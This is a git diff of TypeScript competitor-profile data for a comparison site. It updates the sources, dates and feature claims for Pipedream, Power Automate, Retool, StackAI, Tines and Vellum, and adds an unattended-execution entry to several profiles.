-44,9 +44,9 @@ export const pipedreamProfile: CompetitorProfile = { "An 'Edit with AI' button in the workflow builder header or any code step lets users modify an existing workflow using natural-language instructions.", shortDescription: "An 'Edit with AI' button lets users modify workflows by prompt.", source: { - url: 'https://pipedream.com/blog/', - label: 'Pipedream Blog / Changelog', - asOf: '2026-07-02', + url: 'https://pipedream.com/blog/build-workflows-faster-with-ai/', + label: 'Pipedream Blog: Build workflows faster with AI', + asOf: '2026-07-04', }, }, { @@ -358,7 +358,11 @@ export const pipedreamProfile: CompetitorProfile = { shortValue: "'Edit with AI' modifies workflows via prompt", confidence: 'estimated', sources: [ - { url: 'https://pipedream.com/blog/', label: 'Pipedream Blog', asOf: '2026-07-02' }, + { + url: 'https://pipedream.com/blog/build-workflows-faster-with-ai/', + label: 'Pipedream Blog: Build workflows faster with AI', + asOf: '2026-07-04', + }, ], }, knowledgeBaseRag: { @@ -369,9 +373,9 @@ export const pipedreamProfile: CompetitorProfile = { confidence: 'estimated', sources: [ { - url: 'https://pipedream.com/blog/', - label: 'Pipedream Blog (RAG implementation post)', - asOf: '2026-07-02', + url: 'https://pipedream.com/blog/build-your-own-chat-bot-with-openai-and-pipedream/', + label: 'Pipedream Blog: Build your own chat bot with OpenAI and Pipedream', + asOf: '2026-07-04', }, ], }, @@ -550,9 +554,9 @@ export const pipedreamProfile: CompetitorProfile = { asOf: '2026-07-02', }, { - url: 'https://docs-proxy.pipedream.net/docs/sources/', - label: 'Pipedream Docs: Sources', - asOf: '2026-07-02', + url: 'https://pipedream.com/docs/sources', + label: 'Pipedream Docs: Triggers (event sources)', + asOf: '2026-07-04', }, ], }, @@ -578,9 +582,9 @@ export const pipedreamProfile: CompetitorProfile = { asOf: '2026-07-02', }, { - url: 'https://pipedream.com/docs/rest-api/workflows/', - label: 'Pipedream Docs: REST API Workflows', - asOf: '2026-07-02', + url: 'https://pipedream.com/docs/rest-api/examples/workflows', + label: 'Pipedream Docs: REST API Example - Create a Workflow', + asOf: '2026-07-04', }, ], }, @@ -869,10 +873,10 @@ export const pipedreamProfile: CompetitorProfile = { }, thirdPartyVetting: { value: - 'No: Pipedream is built around an open component registry where any developer can publish integration components to the public pipedreamhq/pipedream GitHub repo for anyone else to run, and users can also write and execute their own arbitrary custom code steps.', + "No: Pipedream's 3,000+ app integrations are backed by a public component registry (pipedreamhq/pipedream on GitHub) where any developer can fork the repo, write a trigger or action, and submit it as a pull request for anyone else's workflows to run; users can also write and execute their own arbitrary custom code steps.", detail: - 'Community-contributed components go through automated checks (linting and other CI checks a contributor can also run locally via pnpm) rather than a manual first-party security review before a submission becomes runnable by other users. No security incident specific to a malicious or compromised Pipedream component is publicly documented.', - shortValue: 'No, open community component registry', + "Pipedream's own contributing docs describe the merge path as: submit a PR, the code runs through automated checks (linting, dependency install, and other CI a contributor can also run locally via pnpm), the Pipedream team reviews it against published Component Guidelines & Patterns, and once approved the PR is merged to master and the component becomes runnable by every Pipedream user. That review step is functional/style-focused (code structure, error handling, README quality), not a documented formal security audit, static-analysis security scan, or sandboxed vulnerability assessment distinct from ordinary code review. This is the inverse of Sim's model: Sim has no public marketplace where an arbitrary third party can publish and have other users install executable tool code, whereas Pipedream's whole integration catalog is built on exactly that open, PR-based contribution model. No security incident specific to a malicious or compromised Pipedream component is publicly documented.", + shortValue: 'No, open PR-based community component registry', confidence: 'estimated', sources: [ { @@ -880,6 +884,11 @@ export const pipedreamProfile: CompetitorProfile = { label: 'Pipedream Docs: Components Guidelines & Patterns', asOf: '2026-07-02', }, + { + url: 'https://pipedream.com/docs/apps/contributing', + label: 'Pipedream Docs: Contributing to the Pipedream Registry', + asOf: '2026-07-04', + }, { url: 'https://pipedream.com/community', label: 'Pipedream Community', @@ -1022,6 +1031,21 @@ export const pipedreamProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled (cron), webhook, and app-event triggered workflows run as deployed jobs on Pipedream's own serverless infrastructure, not in a session tied to a client device", + detail: + 'Pipedream\'s own docs state it plainly: "Once you save a workflow, we deploy it to our servers. Each event triggers the workflow code, whether you have the workflow open in your browser, or not." No desktop app, browser tab, or active session needs to stay open for a scheduled or triggered run to fire or complete.', + shortValue: 'Runs server-side; no dependency on a client device staying open', + confidence: 'verified', + sources: [ + { + url: 'https://pipedream.com/docs/workflows', + label: 'Pipedream Docs: What Are Workflows?', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/power-automate.ts b/apps/sim/lib/compare/data/competitors/power-automate.ts index ca59d68996a..52c6ecc1654 100644 --- a/apps/sim/lib/compare/data/competitors/power-automate.ts +++ b/apps/sim/lib/compare/data/competitors/power-automate.ts @@ -41,13 +41,12 @@ export const powerAutomateProfile: CompetitorProfile = { { title: 'MCP support in Copilot Studio agents', description: - 'Copilot Studio agents (the agent-building surface adjacent to Power Automate) connect to external Model Context Protocol servers as tools, and Microsoft ships an MCP server capability for Power Automate flows themselves (public preview March 2025, GA May 2025).', - shortDescription: - 'Agents connect to external MCP servers, and flows can expose MCP tools themselves.', + 'Copilot Studio agents (the agent-building surface adjacent to Power Automate) can connect to external Model Context Protocol servers and add their tools/resources to an agent. This is consumption only: there is no feature that publishes a Power Automate flow itself as an MCP server for external AI clients to call.', + shortDescription: 'Agents can connect to external MCP servers as tools, consumption only.', source: { url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/mcp-add-existing-server-to-agent', label: 'Connect your agent to an existing MCP server - Microsoft Learn', - asOf: '2026-07-02', + asOf: '2026-07-04', }, }, { @@ -170,9 +169,14 @@ export const powerAutomateProfile: CompetitorProfile = { confidence: 'estimated', sources: [ { - url: 'https://learn.microsoft.com/en-us/compliance/regulatory/offering-soc-2', - label: 'SOC 2 Type 2 - Microsoft Compliance | Microsoft Learn', - asOf: '2026-07-02', + url: 'https://learn.microsoft.com/en-us/data-integration/gateway/service-gateway-onprem', + label: 'What is an on-premises data gateway? - Microsoft Learn', + asOf: '2026-07-04', + }, + { + url: 'https://learn.microsoft.com/en-us/power-automate/desktop-flows/introduction', + label: 'Introduction to desktop flows - Power Automate | Microsoft Learn', + asOf: '2026-07-04', }, ], }, @@ -424,10 +428,10 @@ export const powerAutomateProfile: CompetitorProfile = { }, mcpSupport: { value: - 'Yes: Copilot Studio agents can connect to external MCP servers as tools (public preview March 2025, GA May 2025), and Power Automate flows can themselves be exposed as MCP tools/resources', + 'Yes, as a client: Copilot Studio agents can connect to external MCP servers and add their tools/resources. Power Automate has no feature that publishes a flow as its own MCP server for external AI clients to call; see integrations.mcpPublishing for that reverse-direction detail.', detail: - 'Requires generative orchestration to be enabled on the agent; tools/resources dynamically update as the connected MCP server changes.', - shortValue: 'Agents connect to external MCP servers; flows can expose MCP tools', + 'Requires generative orchestration to be enabled on the agent; tools/resources dynamically update as the connected MCP server changes. The separate Power Apps MCP Server is a fixed, Microsoft-defined server with a small predefined toolset, not a way to publish a custom flow as an MCP endpoint.', + shortValue: 'Consumes external MCP servers as a client; cannot publish a flow as one', confidence: 'verified', sources: [ { @@ -504,17 +508,23 @@ export const powerAutomateProfile: CompetitorProfile = { value: 'Yes: Copilot Studio automatically falls back to the default OpenAI GPT-4o model when a selected alternate model (such as Anthropic Claude) is disabled or unavailable', detail: - "This fallback behavior is documented for Copilot Studio's multi-model support; a separate confirmation specific to Power Automate flows was not found.", + "Documented directly for Copilot Studio's multi-model support ('If Anthropic models are disabled, agents built with it will automatically switch to the default model, OpenAI GPT-4o, with no additional configuration required'); a separate confirmation specific to Power Automate flows themselves was not found.", shortValue: 'Falls back to default OpenAI GPT-4o model', - confidence: 'unknown', - sources: [], + confidence: 'verified', + sources: [ + { + url: 'https://www.microsoft.com/en-us/microsoft-copilot/blog/copilot-studio/anthropic-joins-the-multi-model-lineup-in-microsoft-copilot-studio/', + label: 'Anthropic joins the multi-model lineup in Microsoft Copilot Studio', + asOf: '2026-07-04', + }, + ], }, agentSkills: { value: - "Yes: Microsoft Copilot Studio (the Power Platform's agent-building surface) supports 'Skills', reusable capabilities defined once (name, description, Markdown instructions), exported as portable Markdown/ZIP packages, and reused across multiple agents, distinct from a one-off system prompt.", + "Yes: Microsoft Copilot Studio (the same agent layer Power Automate's agentic flows build on) supports 'Skills', reusable capabilities defined once (name, description, Markdown instructions) using the same open, portable Markdown/SKILL.md-style format underlying the broader Agent Skills ecosystem, exported as Markdown/ZIP packages and reused across multiple agents, distinct from a one-off system prompt.", detail: - 'This is a preview feature in the new Copilot Studio agent experience (part of the Power Platform, adjacent to Power Automate); skills are self-contained instruction sets separate from tools/knowledge.', - shortValue: "Copilot Studio 'Skills' are reusable, named, cross-agent", + 'This is a preview feature in the new Copilot Studio agent experience (part of the Power Platform, adjacent to Power Automate); skills are self-contained, portable instruction sets separate from tools/knowledge, the same open-format approach Sim uses, rather than a proprietary lock-in format.', + shortValue: "Copilot Studio 'Skills': reusable, portable, cross-agent (open format)", confidence: 'verified', sources: [ { @@ -1148,6 +1158,31 @@ export const powerAutomateProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes for cloud flows: scheduled, connector-event, and webhook-triggered cloud flows run entirely on Microsoft's multi-tenant cloud service, with no dependency on any client device staying open, awake, or connected. Desktop flows (RPA) are the documented exception: unattended desktop flows still require a persistent Windows machine, either a customer-managed on-premises machine kept logged in, or a Microsoft-hosted unattended bot (the $215/bot/month tier) that removes the customer-managed-device requirement but is still a distinct, higher-cost execution mode from ordinary cloud flows.", + detail: + 'Cloud flows are the default and most common Power Automate scenario; desktop flows only apply when automating legacy desktop/UI-based applications via RPA, and even the Microsoft-hosted unattended option runs on a machine instance rather than a lightweight, always-on cloud function.', + shortValue: 'Yes for cloud flows; unattended RPA needs a persistent machine', + confidence: 'verified', + sources: [ + { + url: 'https://learn.microsoft.com/en-us/power-automate/overview-cloud', + label: 'Overview of cloud flows - Power Automate | Microsoft Learn', + asOf: '2026-07-04', + }, + { + url: 'https://www.microsoft.com/en-us/power-platform/products/power-automate/pricing', + label: 'Power Automate pricing page', + asOf: '2026-07-02', + }, + { + url: 'https://learn.microsoft.com/en-us/power-automate/desktop-flows/run-unattended-desktop-flows', + label: 'Run unattended desktop flows - Power Automate | Microsoft Learn', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/retool.ts b/apps/sim/lib/compare/data/competitors/retool.ts index 9fc67db0584..8133fd51c86 100644 --- a/apps/sim/lib/compare/data/competitors/retool.ts +++ b/apps/sim/lib/compare/data/competitors/retool.ts @@ -24,6 +24,18 @@ export const retoolProfile: CompetitorProfile = { oneLiner: 'Retool is a low-code platform for building, deploying, and managing internal software (apps, workflows, and AI agents) that connect to databases, APIs, and LLMs.', standoutFeatures: [ + { + title: 'Full internal business applications, not just agent workflows', + description: + "Retool builds custom internal UI screens, forms, admin panels, and dashboards backed by Retool Database, a genuine Postgres database with real SQL joins and foreign keys, not a spreadsheet-like grid, plus a mature React app runtime. AppGen lets users describe an app in plain English and Retool generates pages, queries, components, data bindings, and event handlers already wired to production data and inheriting the org's existing SSO/RBAC/audit policies.", + shortDescription: + 'Builds full internal apps on a real relational database, not just agent workflows.', + source: { + url: 'https://retool.com/ai-app-generation', + label: 'Retool AI App Generation', + asOf: '2026-07-02', + }, + }, { title: 'Retool Vectors (managed vector store)', description: @@ -39,26 +51,15 @@ export const retoolProfile: CompetitorProfile = { { title: 'Bidirectional MCP support', description: - 'Retool Agents can connect outbound to external MCP servers (a standard for plugging AI agents into outside tools) to pull in tools like GitHub or Jira. Retool also exposes its own workspace as an MCP server, so apps, workflows, and users can be managed directly from Claude, Cursor, Codex, or Kiro.', - shortDescription: 'Connects to external MCP servers and exposes Retool itself as one.', + 'Retool Agents can connect outbound to external MCP servers (a standard for plugging AI agents into outside tools) to pull in tools like GitHub or Jira. Retool also exposes its own workspace as an MCP server (public beta), so build and management actions, such as creating apps, running queries, and managing users, can be performed directly from Claude, Cursor, Codex, or Kiro. This does not let you publish an individual deployed app or workflow as its own standalone MCP tool for outside consumption.', + shortDescription: + 'Connects to external MCP servers and exposes workspace management actions as one.', source: { url: 'https://retool.com/blog/how-to-use-mcp-in-retool', label: 'How to use MCP in Retool', asOf: '2026-07-02', }, }, - { - title: 'Natural-language app generation (AppGen)', - description: - "Users describe an app in plain English and Retool generates pages, queries, components, data bindings, and event handlers already wired to production data and inheriting the org's existing SSO/RBAC/audit policies, rather than producing raw exportable code.", - shortDescription: - 'Generates full apps from a prompt, wired to live data and existing security policies.', - source: { - url: 'https://retool.com/ai-app-generation', - label: 'Retool AI App Generation', - asOf: '2026-07-02', - }, - }, { title: 'Retool Agents (deterministic + non-deterministic decisioning)', description: @@ -276,10 +277,11 @@ export const retoolProfile: CompetitorProfile = { }, dataTables: { value: - "Yes: Retool Database is a built-in, Postgres-backed data table (separate from connecting your own external database) with a spreadsheet-style Edit Table view for inline editing. Retool's Table component can also render and scroll through 100,000+ rows and hundreds of columns without slowing down.", + "Yes: Retool Database is a real, built-in Postgres-backed database (not a spreadsheet-like store), so tables can be queried with actual SQL and joined against other Resources, in addition to a spreadsheet-style Edit Table view for inline editing. Retool's Table UI component separately renders and scrolls through 100,000+ rows and hundreds of columns without slowing down.", detail: - 'Retool does not publish hard row/column caps for Retool Database itself (forum threads mention plan-dependent limits like 50,000 records, unconfirmed as current). The Table UI component is documented to handle 100K+ rows.', - shortValue: 'Yes, Retool Database plus a Table component for large datasets', + "Because it's genuine Postgres under the hood, Retool Database supports relational features (foreign keys, SQL joins/queries) that a typed-column grid like Sim's Tables does not expose; Retool does not publish hard row/column caps for Retool Database itself (forum threads mention plan-dependent limits like 50,000 records, unconfirmed as current). The Table UI component is documented to handle 100K+ rows.", + shortValue: + 'Yes, real Postgres database (SQL-queryable), plus a large-dataset Table component', confidence: 'verified', sources: [ { @@ -758,11 +760,18 @@ export const retoolProfile: CompetitorProfile = { }, auditLogging: { value: - 'Yes: available starting on the Business plan (audit logging listed as a Business-tier feature), with expanded audit logging on Enterprise.', - shortValue: 'From Business plan up, expanded on Enterprise', + 'Yes: available starting on the Business plan (audit logging listed as a Business-tier feature), with expanded audit logging on Enterprise; Enterprise orgs can also continuously stream audit log events to Datadog, or output them to stdout for ingestion by any external pipeline on self-hosted deployments.', + detail: + 'Cloud Business/Enterprise can additionally download audit logs from the UI in batch. No direct S3/BigQuery/generic-webhook drain is documented; Datadog streaming and self-hosted stdout are the only continuous-export mechanisms Retool publishes.', + shortValue: 'From Business plan up; continuous export limited to Datadog/stdout', confidence: 'verified', sources: [ { url: 'https://retool.com/pricing', label: 'Retool Pricing', asOf: '2026-07-02' }, + { + url: 'https://docs.retool.com/changelog/audit-logs-in-datadog', + label: 'Send audit log events to Datadog', + asOf: '2026-07-02', + }, ], }, additionalCompliance: { @@ -796,7 +805,7 @@ export const retoolProfile: CompetitorProfile = { value: 'Yes: Retool (Business/Enterprise plans) supports resource-level permissions with Use, Edit, and Own tiers. Enterprise orgs can go further and set per-environment permissions on the same resource (for example, allow Use on staging credentials but deny production credentials), independent of feature-level RBAC.', detail: - "Permission control for Resources requires the Enterprise plan; per-environment override requires selecting 'Define specific resource access' on a resource.", + "Permission control for Resources (Use/Edit/Own tiers) is available starting on the Business plan; per-environment override, selecting 'Define specific resource access' on a resource, is an Enterprise-only capability.", shortValue: 'Yes, Use/Edit/Own permissions per resource per env', confidence: 'verified', sources: [ @@ -815,6 +824,7 @@ export const retoolProfile: CompetitorProfile = { label: 'Advanced permissions in Retool: The Fundamentals', asOf: '2026-07-02', }, + { url: 'https://retool.com/pricing', label: 'Retool Pricing', asOf: '2026-07-02' }, ], }, whiteLabeling: { @@ -1042,6 +1052,26 @@ export const retoolProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled and webhook-triggered Retool Workflow runs execute entirely on Retool's servers (Cloud) or the self-hosted deployment's own infrastructure, not on a builder's browser or device.", + detail: + 'A triggered run continues executing after the initial request returns and can be polled later via the Get Workflow Run Details API, exactly as documented for asynchronous runs. No client device needs to stay open, awake, or connected for a scheduled or webhook-triggered run to fire or complete.', + shortValue: 'Yes, runs server-side; no client device dependency', + confidence: 'verified', + sources: [ + { + url: 'https://docs.retool.com/workflows/concepts/limits', + label: 'Retool Docs: Workflow limits (sync vs async execution modes)', + asOf: '2026-07-02', + }, + { + url: 'https://docs.retool.com/workflows/guides/webhooks', + label: 'Retool Docs: Trigger workflows with webhooks', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/stackai.ts b/apps/sim/lib/compare/data/competitors/stackai.ts index 28f086d73af..b3634226c5f 100644 --- a/apps/sim/lib/compare/data/competitors/stackai.ts +++ b/apps/sim/lib/compare/data/competitors/stackai.ts @@ -5,7 +5,7 @@ import type { CompetitorProfile } from '@/lib/compare/data/types' export const stackaiProfile: CompetitorProfile = { id: 'stack-ai', name: 'StackAI', - website: 'https://www.stack-ai.com', + website: 'https://www.stackai.com', brand: { icon: StackAIIcon, selfFramed: true, @@ -16,6 +16,17 @@ export const stackaiProfile: CompetitorProfile = { oneLiner: 'StackAI is a proprietary, enterprise-focused visual platform for building, deploying, and governing AI agents, connecting LLMs and business systems through a drag-and-drop, low-code node builder.', standoutFeatures: [ + { + title: 'SOC 2 Type II and ISO 27001 certified, with a public Trust Center', + description: + 'StackAI publishes a Trust Center (trust.stackai.com) documenting SOC 2 Type II and ISO 27001 certification, third-party penetration test results, and DPAs with OpenAI and Anthropic.', + shortDescription: 'Public Trust Center with SOC 2, ISO 27001, and pen test results.', + source: { + url: 'https://trust.stackai.com/', + label: 'StackAI Trust Center', + asOf: '2026-07-02', + }, + }, { title: 'Agentic Development Life Cycle (dev/staging/production promotion)', description: @@ -60,17 +71,6 @@ export const stackaiProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, - { - title: 'SOC 2 Type II and ISO 27001 certified, with a public Trust Center', - description: - 'StackAI publishes a Trust Center (trust.stackai.com) documenting SOC 2 Type II and ISO 27001 certification, third-party penetration test results, and DPAs with OpenAI and Anthropic.', - shortDescription: 'Public Trust Center with SOC 2, ISO 27001, and pen test results.', - source: { - url: 'https://trust.stackai.com/', - label: 'StackAI Trust Center', - asOf: '2026-07-02', - }, - }, ], limitations: [ { @@ -300,10 +300,15 @@ export const stackaiProfile: CompetitorProfile = { multiLlmSupport: { value: 'Yes, broad support across major LLM providers', detail: - 'Supports a wide range of LLMs, with documented data processing agreements with OpenAI and Anthropic.', + 'The LLM node is provider-agnostic with a model dropdown, and StackAI docs confirm OpenAI models directly and via Azure hosting, plus AWS Bedrock-hosted models including Anthropic Claude, AI21, Cohere, and Amazon Titan. StackAI also documents data processing agreements with OpenAI and Anthropic.', shortValue: 'Broad LLM provider support', confidence: 'estimated', sources: [ + { + url: 'https://docs.stackai.com/workflow-builder/core-nodes/ai-agent-node/llm-hosting-and-governance/llms-hosted-on-azure-and-aws-bedrock', + label: 'LLMs Hosted on Azure & AWS Bedrock - StackAI Docs', + asOf: '2026-07-04', + }, { url: 'https://trust.stackai.com/', label: 'StackAI Trust Center (OpenAI/Anthropic DPAs)', @@ -383,13 +388,13 @@ export const stackaiProfile: CompetitorProfile = { confidence: 'verified', sources: [ { - url: 'https://docs.stack-ai.com/stack-ai/workflow-builder/outputs/image-node', + url: 'https://docs.stackai.com/workflow-builder/outputs/image-node', label: 'Image Node - StackAI Docs', asOf: '2026-07-02', }, { - url: 'https://www.stack-ai.com/docs/builder-guide/actions/text-to-audio', - label: 'Text to Audio - StackAI Docs', + url: 'https://docs.stackai.com/workflow-builder/outputs/audio-node', + label: 'Audio Node - StackAI Docs', asOf: '2026-07-02', }, ], @@ -408,11 +413,11 @@ export const stackaiProfile: CompetitorProfile = { }, agentSkills: { value: - 'Yes: StackAI has a Prompt Library where builders save and reuse named prompts/instructions (e.g. a saved "Market Analyst Persona") across agents, rather than re-writing a one-off system prompt each time.', + 'Yes, but proprietary and platform-locked: a Prompt Library where builders save and reuse named prompts/instructions (e.g. a saved "Market Analyst Persona") across agents, rather than re-writing a one-off system prompt each time.', detail: - 'Documented as a prompt/instruction library, not explicitly branded as "skills" with structured knowledge attachments the way some competitors frame it.', - shortValue: 'Yes, via reusable Prompt Library', - confidence: 'verified', + "Documented as a prompt/instruction library stored inside a StackAI workspace, not an open, portable file format. StackAI's docs do not describe exporting a saved prompt as a standalone file or importing one from an external source or repository URL, the way some competitors build reusable skills on an open, version-controllable format. There is also no documented progressive-disclosure loading mechanism (only a short name/description surfaced until needed); the full prompt appears to load in full whenever it's attached.", + shortValue: 'Yes, but a proprietary Prompt Library, not an open/portable format', + confidence: 'estimated', sources: [ { url: 'https://docs.stackai.com/other-views/prompt-library', @@ -478,7 +483,7 @@ export const stackaiProfile: CompetitorProfile = { asOf: '2026-07-02', }, { - url: 'https://docs.stack-ai.com/stack-ai/logic/if-else-node', + url: 'https://docs.stackai.com/workflow-builder/utils-logic-and-others/logic/if-else-node', label: 'If/Else Node docs', asOf: '2026-07-02', }, @@ -517,15 +522,15 @@ export const stackaiProfile: CompetitorProfile = { }, integrations: { integrationCount: { - value: '100+ enterprise integrations', + value: '70+ enterprise integrations', detail: - 'Includes Notion, Airtable, AWS, BigQuery, GitHub, Google Workspace, HubSpot, MongoDB, and MCP.', - shortValue: '100+ integrations', + 'StackAI documentation states it connects to 70+ apps and services, including Notion, Airtable, AWS, BigQuery, GitHub, Google Workspace, HubSpot, MongoDB, and MCP. Some marketing pages cite a higher "100+" figure, but the documented apps list supports 70+.', + shortValue: '70+ integrations', confidence: 'estimated', sources: [ { - url: 'https://www.stackai.com/integrations', - label: 'StackAI Integrations page', + url: 'https://docs.stackai.com/workflow-builder/apps', + label: 'StackAI Apps documentation (70+ apps and services)', asOf: '2026-07-02', }, ], @@ -678,15 +683,23 @@ export const stackaiProfile: CompetitorProfile = { ], }, auditLogging: { - value: 'Yes: automatic logs of every run, capturing input/output, token usage, and runtime', - shortValue: 'Automatic per-run execution logs', - confidence: 'verified', + value: + 'Yes: automatic logs of every run, capturing input/output, token usage, and runtime, queryable through a pull-based Analytics API (filterable by run ID, status, user, and date range)', + detail: + 'The Analytics API is request/response only: a builder calls it to list flow runs or an org-level run summary. There is no documented continuous push/export of these logs to an external destination such as S3, BigQuery, Datadog, or a generic webhook sink, and no separate public audit-log API distinct from execution logs.', + shortValue: 'Automatic per-run logs via a pull-based API, no export destination', + confidence: 'estimated', sources: [ { url: 'https://docs.stackai.com/welcome-to-stackai/overview/platform-overview', label: 'StackAI Platform Overview docs', asOf: '2026-07-02', }, + { + url: 'https://docs.stackai.com/interface-and-deployment/api-reference/analytics.md', + label: 'StackAI API Reference: Analytics', + asOf: '2026-07-02', + }, ], }, additionalCompliance: { @@ -909,6 +922,26 @@ export const stackaiProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: StackAI is a multi-tenant cloud SaaS (each org gets an isolated partition on shared AWS/Azure/GCP infrastructure, or a dedicated VPC/on-prem deployment on Enterprise), and scheduled, chat, form, Slack, Teams, and API-triggered runs are executed and logged (runtime, tokens, input/output) through that hosted infrastructure rather than a builder's own machine.", + detail: + "StackAI's docs do not use explicit language like 'no client device dependency' the way some competitors do; this is inferred from its documented deployment model (cloud SaaS or Enterprise VPC/on-prem) and its scheduled-workflow and execution-log features, none of which describe or require a desktop app, browser tab, or local session staying open.", + shortValue: 'Yes, inferred from its hosted SaaS/VPC execution model', + confidence: 'estimated', + sources: [ + { + url: 'https://www.stackai.com/solutions/self-hosted', + label: 'StackAI Self-Hosted Solutions page', + asOf: '2026-07-02', + }, + { + url: 'https://www.stackai.com/insights/how-to-set-up-scheduled-ai-workflows-and-automated-reports-on-stackai', + label: 'Scheduled AI Workflows - StackAI insights', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/tines.ts b/apps/sim/lib/compare/data/competitors/tines.ts index 152141447e9..eab44d28cbf 100644 --- a/apps/sim/lib/compare/data/competitors/tines.ts +++ b/apps/sim/lib/compare/data/competitors/tines.ts @@ -17,37 +17,37 @@ export const tinesProfile: CompetitorProfile = { 'Tines is a proprietary workflow automation platform, available cloud-hosted or self-hosted, originally built for security operations. Teams build event-driven "Stories" via a visual no/low-code canvas, natural language, or the API. It recently added native AI agent, MCP, and copilot capabilities.', standoutFeatures: [ { - title: 'ISO 42001 AI-governance certification', + title: 'API-centric integration model', description: - 'Tines announced the "ISO trifecta" on April 14, 2026: ISO 27001, ISO 27701, and ISO 42001, the international standard for AI management systems.', - shortDescription: 'Holds ISO 27001, ISO 27701, and ISO 42001 AI-governance certification.', + 'Instead of a fixed library of app connectors, Tines is built around a generic HTTP Request action that calls any API directly, trading pre-built connectors for broader reach and more manual setup.', + shortDescription: + 'A generic HTTP Request action reaches any API instead of fixed connectors.', source: { - url: 'https://www.tines.com/blog/tines-achieves-the-iso-trifecta-iso-27001-iso-27701-and-iso-42001-certification/', - label: 'Tines achieves the ISO trifecta', + url: 'https://www.tines.com/blog/solving-the-integrations-problem/', + label: 'Solving the integrations problem', asOf: '2026-07-02', }, }, { - title: 'Story Copilot natural-language builder', + title: 'ISO 42001 AI-governance certification', description: - 'Launched February 2026, Story Copilot lets users describe an automation in plain language and generates the workflow automatically, alongside "Workbench," a platform-wide AI copilot.', - shortDescription: 'Workbench turns plain-language descriptions into working automations.', + 'Tines announced the "ISO trifecta" on April 14, 2026: ISO 27001, ISO 27701, and ISO 42001, the international standard for AI management systems.', + shortDescription: 'Holds ISO 27001, ISO 27701, and ISO 42001 AI-governance certification.', source: { - url: 'https://www.tines.com/platform/ai/', - label: 'AI Agents, Copilots & MCP | Tines', + url: 'https://www.tines.com/blog/tines-achieves-the-iso-trifecta-iso-27001-iso-27701-and-iso-42001-certification/', + label: 'Tines achieves the ISO trifecta', asOf: '2026-07-02', }, }, { - title: 'API-centric integration model', + title: 'Workbench natural-language builder', description: - 'Instead of a fixed library of app connectors, Tines is built around a generic HTTP Request action that calls any API directly, trading pre-built connectors for broader reach and more manual setup.', - shortDescription: - 'A generic HTTP Request action reaches any API instead of fixed connectors.', + 'Users describe an automation in plain language and Workbench, the platform-wide AI assistant, generates the Story automatically. Workbench absorbed the former "Story Copilot," which was renamed "Workbench for Storyboard" on June 2, 2026.', + shortDescription: 'Workbench turns plain-language descriptions into working automations.', source: { - url: 'https://www.tines.com/blog/solving-the-integrations-problem/', - label: 'Solving the integrations problem', - asOf: '2026-07-02', + url: 'https://www.tines.com/whats-new/workbench-for-stories/', + label: "Tines What's New", + asOf: '2026-07-04', }, }, { @@ -601,6 +601,11 @@ export const tinesProfile: CompetitorProfile = { label: 'Webhook action docs', asOf: '2026-07-02', }, + { + url: 'https://www.tines.com/whats-new/schedule-with-cron-expressions/', + label: 'Schedule with cron expressions', + asOf: '2026-07-04', + }, { url: 'https://www.tines.com/docs/actions/types/receive-email/', label: 'Receive Email docs', @@ -911,9 +916,9 @@ export const tinesProfile: CompetitorProfile = { asOf: '2026-07-02', }, { - url: 'https://www.tines.com/docs/actions/overview', + url: 'https://www.tines.com/docs/actions/', label: 'Actions overview | Docs | Tines', - asOf: '2026-07-02', + asOf: '2026-07-04', }, ], }, @@ -1068,6 +1073,26 @@ export const tinesProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: standard Stories (webhook, scheduled HTTP Request actions, Receive Email) run entirely server-side on Tines infrastructure, cloud-hosted or self-hosted, with no dependency on a browser tab or desktop client staying open. The one documented exception is a Story explicitly set to 'Workbench' mode, which can only be invoked interactively through Workbench chat and will not fire on its own schedule or accept external webhook events unless switched to a standard or 'Workbench and Send to Story' mode.", + detail: + 'Workbench-only stories are intentionally excluded from license story limits precisely because they cannot run autonomously, confirming that autonomous (non-Workbench) stories are the default, unattended execution model.', + shortValue: 'Yes: runs server-side; Workbench-only mode is the one exception', + confidence: 'verified', + sources: [ + { + url: 'https://www.tines.com/docs/actions/types/webhook/', + label: 'Webhook | Docs | Tines', + asOf: '2026-07-02', + }, + { + url: 'https://explained.tines.com/en/articles/9855926-using-stories-with-workbench', + label: 'Using stories with Workbench | Tines Explained', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/vellum.ts b/apps/sim/lib/compare/data/competitors/vellum.ts index d55983bd6fc..5a68bdbb8f4 100644 --- a/apps/sim/lib/compare/data/competitors/vellum.ts +++ b/apps/sim/lib/compare/data/competitors/vellum.ts @@ -17,6 +17,17 @@ export const vellumProfile: CompetitorProfile = { oneLiner: 'Vellum is an enterprise AI development platform for building, evaluating, and deploying LLM prompts, workflows, and agents.', standoutFeatures: [ + { + title: 'SOC 2 Type 2 and HIPAA compliance with BAA', + description: + 'Vellum has SOC 2 Type 2 attestation and HIPAA compliance. Enterprise customers can sign a Business Associate Agreement for handling protected health information, corroborated by a third-party Drata case study.', + shortDescription: 'SOC 2 Type 2 and HIPAA compliance with a signable BAA.', + source: { + url: 'https://drata.com/customers/vellum', + label: 'Vellum Case Study: Drata', + asOf: '2026-07-02', + }, + }, { title: 'Self-hosted / VPC enterprise deployment', description: @@ -39,17 +50,6 @@ export const vellumProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, - { - title: 'SOC 2 Type 2 and HIPAA compliance with BAA', - description: - 'Vellum has SOC 2 Type 2 attestation and HIPAA compliance. Enterprise customers can sign a Business Associate Agreement for handling protected health information, corroborated by a third-party Drata case study.', - shortDescription: 'SOC 2 Type 2 and HIPAA compliance with a signable BAA.', - source: { - url: 'https://drata.com/customers/vellum', - label: 'Vellum Case Study: Drata', - asOf: '2026-07-02', - }, - 